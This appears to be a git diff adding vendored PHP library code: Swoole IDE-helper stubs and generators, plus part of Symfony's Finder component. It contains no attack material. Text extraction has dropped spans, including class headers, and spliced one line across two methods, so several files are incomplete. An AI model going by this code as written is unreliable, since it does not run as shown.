...func_get_args())); + } + + public function chunk(int $splitLength = 1, ?int $limit = null): ArrayObject + { + return static::detectArrayType(mb_split($this->string, ...func_get_args())); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php new file mode 100644 index 0000000..f47545e --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php @@ -0,0 +1,65 @@ +__object = $object; + } + + public function __getObject() + { + return $this->__object; + } + + public function __get(string $name) + { + return $this->__object->{$name}; + } + + public function __set(string $name, $value): void + { + $this->__object->{$name} = $value; + } + + public function __isset($name) + { + return isset($this->__object->{$name}); + } + + public function __unset(string $name): void + { + unset($this->__object->{$name}); + } + + public function __call(string $name, array $arguments) + { + return $this->__object->{$name}(...$arguments); + } + + public function __invoke(...$arguments) + { + /** @var mixed $object */ + $object = $this->__object; + return $object(...$arguments); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php new file mode 100644 index 0000000..112e988 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php @@ -0,0 +1,95 @@ +setIPCType($ipcType)->setMsgQueueKey($msgQueueKey); + } + + public function add(callable $func, bool $enableCoroutine = false): self + { + $this->addBatch(1, $func, $enableCoroutine); + return $this; + } + + public function addBatch(int $workerNum, callable $func, bool $enableCoroutine = false): self + { + for ($i = 0; $i < $workerNum; $i++) { + $this->startFuncMap[] = [$func, $enableCoroutine]; + } + return $this; + } + + public function start(): void + { + $this->pool = new Pool(count($this->startFuncMap), $this->ipcType, $this->msgQueueKey, false); + + $this->pool->on(Constant::EVENT_WORKER_START, function (Pool $pool, int $workerId) { + [$func, $enableCoroutine] = $this->startFuncMap[$workerId]; + if ($enableCoroutine) { + run($func, $pool, $workerId); + } else { + $func($pool, $workerId); + } + }); + + $this->pool->start(); + } + + public function setIPCType(int $ipcType): self + { + $this->ipcType = $ipcType; + return $this; + } + + public function getIPCType(): int + { + return $this->ipcType; + } + + public function setMsgQueueKey(int $msgQueueKey): self + { + $this->msgQueueKey = $msgQueueKey; + return $this; + } + + public function getMsgQueueKey(): int + { + return $this->msgQueueKey; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php new file mode 100644 index 0000000..57f3792 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php @@ -0,0 +1,192 @@ + true, + 'trace_flags' => true, + 'log_file' => true, + 'log_level' => true, + 'log_date_format' => true, + 'log_date_with_microseconds' => true, + 'log_rotation' => true, + 'display_errors' => true, + 'dns_server' => true, + 'socket_dns_timeout' => true, + 'socket_connect_timeout' => true, + 'socket_write_timeout' => true, + 'socket_send_timeout' => true, + 'socket_read_timeout' => true, + 'socket_recv_timeout' => true, + 'socket_buffer_size' => true, + 'socket_timeout' => true, + ]; + + const SERVER_OPTIONS = [ + 'chroot' => true, + 'user' => true, + 'group' => true, + 'daemonize' => true, + 'pid_file' => true, + 'reactor_num' => true, + 'single_thread' => true, + 'worker_num' => true, + 'max_wait_time' => true, + 'max_queued_bytes' => true, + 'enable_coroutine' => true, + 'max_coro_num' => true, + 'max_coroutine' => true, + 'hook_flags' => true, + 'send_timeout' => true, + 'dispatch_mode' => true, + 'send_yield' => true, + 'dispatch_func' => true, + 'discard_timeout_request' => true, + 'enable_unsafe_event' => true, + 'enable_delay_receive' => true, + 'enable_reuse_port' => true, + 'task_use_object' => true, + 'task_enable_coroutine' => true, + 'task_worker_num' => true, + 'task_ipc_mode' => true, + 'task_tmpdir' => true, + 'task_max_request' => true, + 'task_max_request_grace' => true, + 'max_connection' => true, + 'max_conn' => true, + 'heartbeat_check_interval' => true, + 'heartbeat_idle_time' => true, + 'max_request' => true, + 'max_request_grace' => true, + 'reload_async' => true, + 'open_cpu_affinity' => true, + 'cpu_affinity_ignore' => true, + 'http_parse_cookie' => true, + 'http_parse_post' => true, + 'http_parse_files' => true, + 'http_compression' => true, + 'http_compression_level' => true, + 'http_gzip_level' => true, + 'websocket_compression' => true, + 'upload_tmp_dir' => true, + 'enable_static_handler' => true, + 'document_root' => true, + 'http_autoindex' => true, + 'http_index_files' => true, + 'static_handler_locations' => true, + 'input_buffer_size' => true, + 'buffer_input_size' => true, + 'output_buffer_size' => true, + 'buffer_output_size' => true, + 'message_queue_key' => true, + ]; + + const PORT_OPTIONS = [ + 'backlog' => true, + 'socket_buffer_size' => true, + 'kernel_socket_recv_buffer_size' => true, + 'kernel_socket_send_buffer_size' => true, + 'buffer_high_watermark' => true, + 'buffer_low_watermark' => true, + 'open_tcp_nodelay' => true, + 'tcp_defer_accept' => true, + 'open_tcp_keepalive' => true, + 'open_eof_check' => true, + 'open_eof_split' => true, + 'package_eof' => true, + 'open_http_protocol' => true, + 'open_websocket_protocol' => true, + 'websocket_subprotocol' => true, + 'open_websocket_close_frame' => true, + 'open_websocket_ping_frame' => true, + 'open_websocket_pong_frame' => true, + 'open_http2_protocol' => true, + 'open_mqtt_protocol' => true, + 'open_redis_protocol' => true, + 'max_idle_time' => true, + 'tcp_keepidle' => true, + 'tcp_keepinterval' => true, + 'tcp_keepcount' => true, + 'tcp_user_timeout' => true, + 'tcp_fastopen' => true, + 'open_length_check' => true, + 'package_length_type' => true, + 'package_length_offset' => true, + 'package_body_offset' => true, + 'package_body_start' => true, + 'package_length_func' => true, + 'package_max_length' => true, + 'ssl_cert_file' => true, + 'ssl_key_file' => true, + 'ssl_compress' => true, + 'ssl_protocols' => true, + 'ssl_verify_peer' => true, + 'ssl_allow_self_signed' => true, + 'ssl_client_cert_file' => true, + 'ssl_verify_depth' => true, + 'ssl_prefer_server_ciphers' => true, + 'ssl_ciphers' => true, + 'ssl_ecdh_curve' => true, + 'ssl_dhparam' => true, + ]; + + const HELPER_OPTIONS = [ + 'stats_file' => true, + ]; + + public static function checkOptions(array $input_options) + { + $const_options = self::GLOBAL_OPTIONS + self::SERVER_OPTIONS + self::PORT_OPTIONS + self::HELPER_OPTIONS; + + foreach ($input_options as $k => $v) { + if (!array_key_exists(strtolower($k), $const_options)) { + //TODO throw exception + trigger_error("unsupported option [{$k}]", E_USER_WARNING); + debug_print_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); + } + } + } + + public static function onWorkerStart(Server $server, int $workerId) + { + if (!empty($server->setting['stats_file']) and $workerId == 0) { + $server->stats_timer = Timer::tick(self::STATS_TIMER_INTERVAL_TIME, function () use ($server) { + $stats = $server->stats(); + $lines = []; + foreach ($stats as $k => $v) { + $lines[] = "{$k}: {$v}"; + } + $out = implode("\n", $lines); + file_put_contents($server->setting['stats_file'], $out); + }); + } + } + + public static function onWorkerExit(Server $server, int $workerId) + { + if ($server->stats_timer) { + Timer::clear($server->stats_timer); + $server->stats_timer = null; + } + } + + public static function onWorkerStop(Server $server, int $workerId) + { + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php new file mode 100644 index 0000000..11f3117 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php @@ -0,0 +1,215 @@ +string = $string; + } + + public function __toString(): string + { + return $this->string; + } + + public function length(): int + { + return strlen($this->string); + } + + /** + * @return false|int + */ + public function indexOf(string $needle, int $offset = 0) + { + return strpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function lastIndexOf(string $needle, int $offset = 0) + { + return strrpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function pos(string $needle, int $offset = 0) + { + return strpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function rpos(string $needle, int $offset = 0) + { + return strrpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function ipos(string $needle) + { + return stripos($this->string, $needle); + } + + /** + * @return static + */ + public function lower(): self + { + return new static(strtolower($this->string)); + } + + /** + * @return static + */ + public function upper(): self + { + return new static(strtoupper($this->string)); + } + + /** + * @return static + */ + public function trim(): self + { + return new static(trim($this->string)); + } + + /** + * @return static + */ + public function ltrim(): self + { + return new static(ltrim($this->string)); + } + + /** + * @return static + */ + public function rtrim(): self + { + return new static(rtrim($this->string)); + } + + /** + * @return static + */ + public function substr(int $offset, ?int $length = null) + { + return new static(substr($this->string, ...func_get_args())); + } + + public function repeat(int $n): StringObject + { + return new static(str_repeat($this->string, $n)); + } + + /** + * @param $str + */ + public function append($str): StringObject + { + if (is_string($str)) { + $this->string .= $str; + } else { + $this->string .= strval($str); + } + return $this; + } + + /** + * @param null|int $count + * @return static + */ + public function replace(string $search, string $replace, &$count = null) + { + return new static(str_replace($search, $replace, $this->string, $count)); + } + + public function startsWith(string $needle): bool + { + return strpos($this->string, $needle) === 0; + } + + public function endsWith(string $needle): bool + { + return strrpos($this->string, $needle) === (strlen($this->string) - strlen($needle)); + } + + public function equals($str, bool $strict = false): bool + { + if ($str instanceof StringObject) { + $str = strval($str); + } + if ($strict) { + return $this->string === $str; + } + return $this->string == $str; + } + + public function contains(string $subString): bool + { + return strpos($this->string, $subString) !== false; + } + + public function split(string $delimiter, int $limit = PHP_INT_MAX): ArrayObject + { + return static::detectArrayType(explode($delimiter, $this->string, $limit)); + } + + public function char(int $index): string + { + if ($index > strlen($this->string)) { + return ''; + } + return $this->string[$index]; + } + + /** + * @return static + */ + public function chunkSplit(int $chunkLength = 76, string $chunkEnd = '') + { + return new static(chunk_split($this->string, ...func_get_args())); + } + + public function chunk(int $splitLength = 1): ArrayObject + { + return static::detectArrayType(str_split($this->string, ...func_get_args())); + } + + public function toString(): string + { + return $this->string; + } + + protected static function detectArrayType(array $value): ArrayObject + { + return new ArrayObject($value); + } +} diff --git a/vendor/swoole/ide-helper/src/AbstractStubGenerator.php b/vendor/swoole/ide-helper/src/AbstractStubGenerator.php new file mode 100644 index 0000000..121f78c --- /dev/null +++ b/vendor/swoole/ide-helper/src/AbstractStubGenerator.php @@ -0,0 +1,405 @@ + [], + self::ALIAS_SNAKE_CASE => [], + ]; + + /** + * Methods that don't need to have return type specified. + */ + protected const IGNORED_METHODS = [ + '__construct' => null, + '__destruct' => null, + ]; + + /** + * AbstractStubGenerator constructor. + * + * @throws Exception + * @throws ReflectionException + */ + public function __construct() + { + $this->init(); + + if (!extension_loaded($this->extension)) { + throw new Exception("Extension $this->extension not enabled or not installed."); + } + + $this->language = 'chinese'; + $this->dirOutput = dirname(__DIR__) . '/output/' . $this->extension; + $this->dirConfig = dirname(__DIR__) . '/config'; + $this->rf_ext = new ReflectionExtension($this->extension); + } + + /** + * @throws Exception + * @throws ReflectionException + */ + public function export(): void + { + // Retrieve and save all constants. + if ($this->rf_ext->getConstants()) { + $defines = ''; + foreach ($this->rf_ext->getConstants() as $name => $value) { + $defines .= sprintf("define('%s', %s);\n", $name, (is_numeric($value) ? $value : "'{$value}'")); + } + $this->writeToPhpFile($this->dirOutput . '/constants.php', $defines); + } + + // Retrieve and save all functions. + $output = $this->getFunctionsDef(); + if (!empty($output)) { + $this->writeToPhpFile($this->dirOutput . '/functions.php', $output); + } + + // Retrieve and save all classes. + $classes = $this->rf_ext->getClasses(); + // There are three types of class names in Swoole: + // 1. short name of a class. Short names start with "Co\", and they can be found in file output/aliases.php. + // 2. fully qualified name (class name with namespace prefix), e.g., \Swoole\Timer. These classes can be found + // under folder output/namespace. + // 3. snake_case. e.g., swoole_timer. These aliases can be found in file output/aliases.php. + foreach ($classes as $className => $ref) { + if (strtolower(substr($className, 0, 3)) == 'co\\') { + $className = str_replace('Swoole\\Coroutine', 'Co', $ref->getName()); + $this->aliases[self::ALIAS_SHORT_NAME][$className] = $ref->getName(); + } elseif (strchr($className, '\\')) { + $this->exportNamespaceClass($className, $ref); + } else { + $this->aliases[self::ALIAS_SNAKE_CASE][$className] = $this->getNamespaceAlias($className); + } + } + + $class_alias = ''; + foreach (array_filter($this->aliases) as $type => $aliases) { + if (!empty($class_alias)) { + $class_alias .= "\n"; + } + asort($aliases); + foreach ($aliases as $alias => $original) { + $class_alias .= "class_alias({$original}::class, {$alias}::class);\n"; + } + } + $this->writeToPhpFile($this->dirOutput . '/aliases.php', $class_alias); + } + + /** + * @return string + */ + public function getVersion(): string + { + return $this->rf_ext->getVersion(); + } + + /** + * @return string + */ + public function getExtension(): string + { + return $this->extension; + } + + /** + * @param string $extension + * @return $this + */ + public function setExtension(string $extension): self + { + $this->extension = $extension; + + return $this; + } + + /** + * @param string $className + * @return string + */ + protected function getNamespaceAlias(string $className): string + { + if (strcasecmp($className, 'co') === 0) { + return Coroutine::class; + } elseif (strcasecmp($className, 'chan') === 0) { + return Channel::class; + } else { + return str_replace('_', '\\', ucwords($className, '_')); + } + } + + /** + * @param string $class + * @param string $name + * @param string $type + * @return array + */ + protected function getConfig(string $class, string $name, string $type): array + { + switch ($type) { + case self::C_CONSTANT: + $dir = 'constant'; + break; + case self::C_METHOD: + $dir = 'method'; + break; + case self::C_PROPERTY: + $dir = 'property'; + break; + default: + return false; + } + $file = $this->dirConfig . '/' . $this->language . '/' . strtolower($class) . '/' . $dir . '/' . $name . '.php'; + if (is_file($file)) { + return include $file; + } else { + return array(); + } + } + + /** + * @param ReflectionParameter $parameter + * @return string|null + */ + protected function getDefaultValue(ReflectionParameter $parameter): ?string + { + try { + $default_value = $parameter->getDefaultValue(); + if ($default_value === []) { + $default_value = '[]'; + } elseif ($default_value === null) { + $default_value = 'null'; + } elseif (is_bool($default_value)) { + $default_value = $default_value ? 'true' : 'false'; + } else { + $default_value = var_export($default_value, true); + } + } catch (\Throwable $e) { + if ($parameter->isOptional()) { + $default_value = 'null'; + } else { + $default_value = null; + } + } + return $default_value; + } + + /** + * @return string + */ + protected function getFunctionsDef(): string + { + $all = ''; + foreach ($this->rf_ext->getFunctions() as $function) { + $vp = array(); + $comment = "/**\n"; + $params = $function->getParameters(); + foreach ($params as $param) { + $default_value = $this->getDefaultValue($param); + $comment .= " * @param \${$param->name}[" . + ($param->isOptional() ? 'optional' : 'required') . + "]\n"; + $vp[] = ($param->isPassedByReference() ? '&' : '') . + "\${$param->name}" . + ($default_value ? " = {$default_value}" : ''); + } + $comment .= " * @return mixed\n"; + $comment .= " */\n"; + $comment .= sprintf("function %s(%s){}\n\n", $function->getName(), join(', ', $vp)); + $all .= $comment; + } + + return $all; + } + + /** + * @param string $classname + * @param ReflectionClass $ref + * @throws Exception + * @throws ReflectionException + */ + protected function exportNamespaceClass(string $classname, ReflectionClass $ref): void + { + (new NamespaceRule($this))->validate($classname); + + $class = ClassGenerator::fromReflection(new ClassReflection($ref->getName())); + foreach ($class->getMethods() as $method) { + if ((null === $method->getReturnType()) && !array_key_exists($method->getName(), self::IGNORED_METHODS)) { + $method->setDocBlock( + DocBlockGenerator::fromArray( + [ + 'shortDescription' => null, + 'longDescription' => null, + 'tags' => [ + new ReturnTag( + [ + 'datatype' => 'mixed', + ] + ), + ], + ] + ) + ); + } + } + + $this->writeToPhpFile( + $this->dirOutput . '/namespace/' . implode('/', array_slice(explode('\\', $classname), 1)) . '.php', + $class->generate() + ); + } + + /** + * @param string $path + * @param string $content + * @return AbstractStubGenerator + */ + protected function writeToPhpFile(string $path, string $content): self + { + $this->mkdir(dirname($path)); + file_put_contents($path, "deleteDir($unzippedDir)->deleteDir($targetDir); + + (new Client())->get($downloadUrl, ["sink" => "temp.zip"]); + + shell_exec("unzip temp.zip"); + if (!is_dir($unzippedDir)) { + throw new Exception( + sprintf( + "Top directory in the zip file downloaded from URL '%s' is not '%s'.", + $downloadUrl, + $unzippedDir + ) + ); + } + rename($unzippedDir, $targetDir); + unlink("temp.zip"); + + return $this; + } + + /** + * @param string $dir + * @param bool $recreate + * @throws Exception + */ + protected function deleteDir(string $dir, bool $recreate = false): self + { + (new Filesystem())->remove($dir); + if ($recreate) { + $this->mkdir($dir); + } + + return $this; + } + + /** + * @return AbstractStubGenerator + */ + abstract protected function init(): AbstractStubGenerator; +} diff --git a/vendor/swoole/ide-helper/src/Constant.php b/vendor/swoole/ide-helper/src/Constant.php new file mode 100644 index 0000000..1babc85 --- /dev/null +++ b/vendor/swoole/ide-helper/src/Constant.php @@ -0,0 +1,20 @@ +setGenerator($generator); + } + + /** + * @param mixed ...$params + */ + public function validate(...$params): void + { + if (in_array($this->getGenerator()->getExtension(), $this->getEnabledExtensions())) { + $this->validateWith(...$params); + } + } + + /** + * @return AbstractStubGenerator + */ + protected function getGenerator(): AbstractStubGenerator + { + return $this->generator; + } + + /** + * @param AbstractStubGenerator $generator + * @return $this + */ + protected function setGenerator(AbstractStubGenerator $generator): self + { + $this->generator = $generator; + + return $this; + } + + /** + * @param mixed ...$params + * @throws Exception + */ + abstract protected function validateWith(...$params): void; + + /** + * @return array + */ + abstract protected function getEnabledExtensions(): array; +} diff --git a/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php b/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php new file mode 100644 index 0000000..f38166e --- /dev/null +++ b/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php @@ -0,0 +1,38 @@ +getGenerator()->getExtension()) !== 0) { + throw new Exception( + "Class $params[0] should be under namespace \\{$this->getGenerator()->getExtension()} but not." + ); + } + } + + /** + * @inheritDoc + */ + protected function getEnabledExtensions(): array + { + return [ + Constant::EXT_SWOOLE, + ]; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php b/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php new file mode 100644 index 0000000..0bdc527 --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php new file mode 100644 index 0000000..d296dff --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE_ASYNC; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php new file mode 100644 index 0000000..3eacae4 --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php @@ -0,0 +1,74 @@ +extension = "swoole_library"; + $this->dirOutput = dirname($this->dirOutput) . DIRECTORY_SEPARATOR . $this->extension; + } + + /** + * @inheritDoc + */ + public function export(): void + { + $this->download("library", $this->rf_version, $this->dirOutput); + + $extraFiles = self::EXTRA_SRC_FILES; + /** @var DirectoryIterator $file */ + foreach (new DirectoryIterator($this->dirOutput) as $file) { + if (!$file->isDot() && ($file->getFilename() != 'src')) { + $extraFiles[] = $file->getFilename(); + } + } + $fileSystem = new Filesystem(); + foreach ($extraFiles as $file) { + $fileSystem->remove($this->dirOutput . DIRECTORY_SEPARATOR . $file); + } + } + + /** + * @inheritDoc + * @throws Exception + */ + protected function init(): AbstractStubGenerator + { + $this->extension = Constant::EXT_SWOOLE; // Set to a dummy value temporarily. + $this->rf_version = $_SERVER["SWOOLE_LIB_VERSION"] ?? self::DEFAULT_VERSION; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php new file mode 100644 index 0000000..7e7fc1e --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE_ORM; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php b/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php new file mode 100644 index 0000000..7494757 --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE_POSTGRESQL; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php new file mode 100644 index 0000000..9424401 --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE_SERIALIZE; + + return $this; + } +} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php new file mode 100644 index 0000000..6334ea6 --- /dev/null +++ b/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php @@ -0,0 +1,26 @@ +extension = Constant::EXT_SWOOLE_ZOOKEEPER; + + return $this; + } +} diff --git a/vendor/symfony/finder/CHANGELOG.md b/vendor/symfony/finder/CHANGELOG.md new file mode 100644 index 0000000..2045184 --- /dev/null +++ b/vendor/symfony/finder/CHANGELOG.md @@ -0,0 +1,74 @@ +CHANGELOG +========= + +4.3.0 +----- + + * added Finder::ignoreVCSIgnored() to ignore files based on rules listed in .gitignore + +4.2.0 +----- + + * added $useNaturalSort option to Finder::sortByName() method + * the `Finder::sortByName()` method will have a new `$useNaturalSort` + argument in version 5.0, not defining it is deprecated + * added `Finder::reverseSorting()` to reverse the sorting + +4.0.0 +----- + + * removed `ExceptionInterface` + * removed `Symfony\Component\Finder\Iterator\FilterIterator` + +3.4.0 +----- + + * deprecated `Symfony\Component\Finder\Iterator\FilterIterator` + * added Finder::hasResults() method to check if any results were found + +3.3.0 +----- + + * added double-star matching to Glob::toRegex() + +3.0.0 +----- + + * removed deprecated classes + +2.8.0 +----- + + * deprecated adapters and related classes + +2.5.0 +----- + * added support for GLOB_BRACE in the paths passed to Finder::in() + +2.3.0 +----- + + * added a way to ignore unreadable directories (via Finder::ignoreUnreadableDirs()) + * unified the way subfolders that are not executable are handled by always throwing an AccessDeniedException exception + +2.2.0 +----- + + * added Finder::path() and Finder::notPath() methods + * added finder adapters to improve performance on specific platforms + * added support for wildcard characters (glob patterns) in the paths passed + to Finder::in() + +2.1.0 +----- + + * added Finder::sortByAccessedTime(), Finder::sortByChangedTime(), and + Finder::sortByModifiedTime() + * added Countable to Finder + * added support for an array of directories as an argument to + Finder::exclude() + * added searching based on the file content via Finder::contains() and + Finder::notContains() + * added support for the != operator in the Comparator + * [BC BREAK] filter expressions (used for file name and content) are no more + considered as regexps but glob patterns when they are enclosed in '*' or '?' diff --git a/vendor/symfony/finder/Comparator/Comparator.php b/vendor/symfony/finder/Comparator/Comparator.php new file mode 100644 index 0000000..6aee21c --- /dev/null +++ b/vendor/symfony/finder/Comparator/Comparator.php @@ -0,0 +1,98 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Comparator; + +/** + * Comparator. + * + * @author Fabien Potencier + */ +class Comparator +{ + private $target; + private $operator = '=='; + + /** + * Gets the target value. + * + * @return string The target value + */ + public function getTarget() + { + return $this->target; + } + + /** + * Sets the target value. + * + * @param string $target The target value + */ + public function setTarget($target) + { + $this->target = $target; + } + + /** + * Gets the comparison operator. + * + * @return string The operator + */ + public function getOperator() + { + return $this->operator; + } + + /** + * Sets the comparison operator. + * + * @param string $operator A valid operator + * + * @throws \InvalidArgumentException + */ + public function setOperator($operator) + { + if (!$operator) { + $operator = '=='; + } + + if (!\in_array($operator, ['>', '<', '>=', '<=', '==', '!='])) { + throw new \InvalidArgumentException(sprintf('Invalid operator "%s".', $operator)); + } + + $this->operator = $operator; + } + + /** + * Tests against the target. + * + * @param mixed $test A test value + * + * @return bool + */ + public function test($test) + { + switch ($this->operator) { + case '>': + return $test > $this->target; + case '>=': + return $test >= $this->target; + case '<': + return $test < $this->target; + case '<=': + return $test <= $this->target; + case '!=': + return $test != $this->target; + } + + return $test == $this->target; + } +} diff --git a/vendor/symfony/finder/Comparator/DateComparator.php b/vendor/symfony/finder/Comparator/DateComparator.php new file mode 100644 index 0000000..d17c77a --- /dev/null +++ b/vendor/symfony/finder/Comparator/DateComparator.php @@ -0,0 +1,51 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Comparator; + +/** + * DateCompare compiles date comparisons. + * + * @author Fabien Potencier + */ +class DateComparator extends Comparator +{ + /** + * @param string $test A comparison string + * + * @throws \InvalidArgumentException If the test is not understood + */ + public function __construct(string $test) + { + if (!preg_match('#^\s*(==|!=|[<>]=?|after|since|before|until)?\s*(.+?)\s*$#i', $test, $matches)) { + throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a date test.', $test)); + } + + try { + $date = new \DateTime($matches[2]); + $target = $date->format('U'); + } catch (\Exception $e) { + throw new \InvalidArgumentException(sprintf('"%s" is not a valid date.', $matches[2])); + } + + $operator = isset($matches[1]) ? $matches[1] : '=='; + if ('since' === $operator || 'after' === $operator) { + $operator = '>'; + } + + if ('until' === $operator || 'before' === $operator) { + $operator = '<'; + } + + $this->setOperator($operator); + $this->setTarget($target); + } +} diff --git a/vendor/symfony/finder/Comparator/NumberComparator.php b/vendor/symfony/finder/Comparator/NumberComparator.php new file mode 100644 index 0000000..80667c9 --- /dev/null +++ b/vendor/symfony/finder/Comparator/NumberComparator.php @@ -0,0 +1,79 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Comparator; + +/** + * NumberComparator compiles a simple comparison to an anonymous + * subroutine, which you can call with a value to be tested again. + * + * Now this would be very pointless, if NumberCompare didn't understand + * magnitudes. + * + * The target value may use magnitudes of kilobytes (k, ki), + * megabytes (m, mi), or gigabytes (g, gi). Those suffixed + * with an i use the appropriate 2**n version in accordance with the + * IEC standard: http://physics.nist.gov/cuu/Units/binary.html + * + * Based on the Perl Number::Compare module. + * + * @author Fabien Potencier PHP port + * @author Richard Clamp Perl version + * @copyright 2004-2005 Fabien Potencier + * @copyright 2002 Richard Clamp + * + * @see http://physics.nist.gov/cuu/Units/binary.html + */ +class NumberComparator extends Comparator +{ + /** + * @param string|int $test A comparison string or an integer + * + * @throws \InvalidArgumentException If the test is not understood + */ + public function __construct(?string $test) + { + if (!preg_match('#^\s*(==|!=|[<>]=?)?\s*([0-9\.]+)\s*([kmg]i?)?\s*$#i', $test, $matches)) { + throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a number test.', $test)); + } + + $target = $matches[2]; + if (!is_numeric($target)) { + throw new \InvalidArgumentException(sprintf('Invalid number "%s".', $target)); + } + if (isset($matches[3])) { + // magnitude + switch (strtolower($matches[3])) { + case 'k': + $target *= 1000; + break; + case 'ki': + $target *= 1024; + break; + case 'm': + $target *= 1000000; + break; + case 'mi': + $target *= 1024 * 1024; + break; + case 'g': + $target *= 1000000000; + break; + case 'gi': + $target *= 1024 * 1024 * 1024; + break; + } + } + + $this->setTarget($target); + $this->setOperator(isset($matches[1]) ? $matches[1] : '=='); + } +} diff --git a/vendor/symfony/finder/Exception/AccessDeniedException.php b/vendor/symfony/finder/Exception/AccessDeniedException.php new file mode 100644 index 0000000..ee195ea --- /dev/null +++ b/vendor/symfony/finder/Exception/AccessDeniedException.php @@ -0,0 +1,19 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Exception; + +/** + * @author Jean-François Simon + */ +class AccessDeniedException extends \UnexpectedValueException +{ +} diff --git a/vendor/symfony/finder/Exception/DirectoryNotFoundException.php b/vendor/symfony/finder/Exception/DirectoryNotFoundException.php new file mode 100644 index 0000000..c6cc0f2 --- /dev/null +++ b/vendor/symfony/finder/Exception/DirectoryNotFoundException.php @@ -0,0 +1,19 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Exception; + +/** + * @author Andreas Erhard + */ +class DirectoryNotFoundException extends \InvalidArgumentException +{ +} diff --git a/vendor/symfony/finder/Finder.php b/vendor/symfony/finder/Finder.php new file mode 100644 index 0000000..ebc6c68 --- /dev/null +++ b/vendor/symfony/finder/Finder.php @@ -0,0 +1,812 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder; + +use Symfony\Component\Finder\Comparator\DateComparator; +use Symfony\Component\Finder\Comparator\NumberComparator; +use Symfony\Component\Finder\Exception\DirectoryNotFoundException; +use Symfony\Component\Finder\Iterator\CustomFilterIterator; +use Symfony\Component\Finder\Iterator\DateRangeFilterIterator; +use Symfony\Component\Finder\Iterator\DepthRangeFilterIterator; +use Symfony\Component\Finder\Iterator\ExcludeDirectoryFilterIterator; +use Symfony\Component\Finder\Iterator\FilecontentFilterIterator; +use Symfony\Component\Finder\Iterator\FilenameFilterIterator; +use Symfony\Component\Finder\Iterator\SizeRangeFilterIterator; +use Symfony\Component\Finder\Iterator\SortableIterator; + +/** + * Finder allows to build rules to find files and directories. + * + * It is a thin wrapper around several specialized iterator classes. + * + * All rules may be invoked several times. + * + * All methods return the current Finder object to allow chaining: + * + * $finder = Finder::create()->files()->name('*.php')->in(__DIR__); + * + * @author Fabien Potencier + */ +class Finder implements \IteratorAggregate, \Countable +{ + const IGNORE_VCS_FILES = 1; + const IGNORE_DOT_FILES = 2; + const IGNORE_VCS_IGNORED_FILES = 4; + + private $mode = 0; + private $names = []; + private $notNames = []; + private $exclude = []; + private $filters = []; + private $depths = []; + private $sizes = []; + private $followLinks = false; + private $reverseSorting = false; + private $sort = false; + private $ignore = 0; + 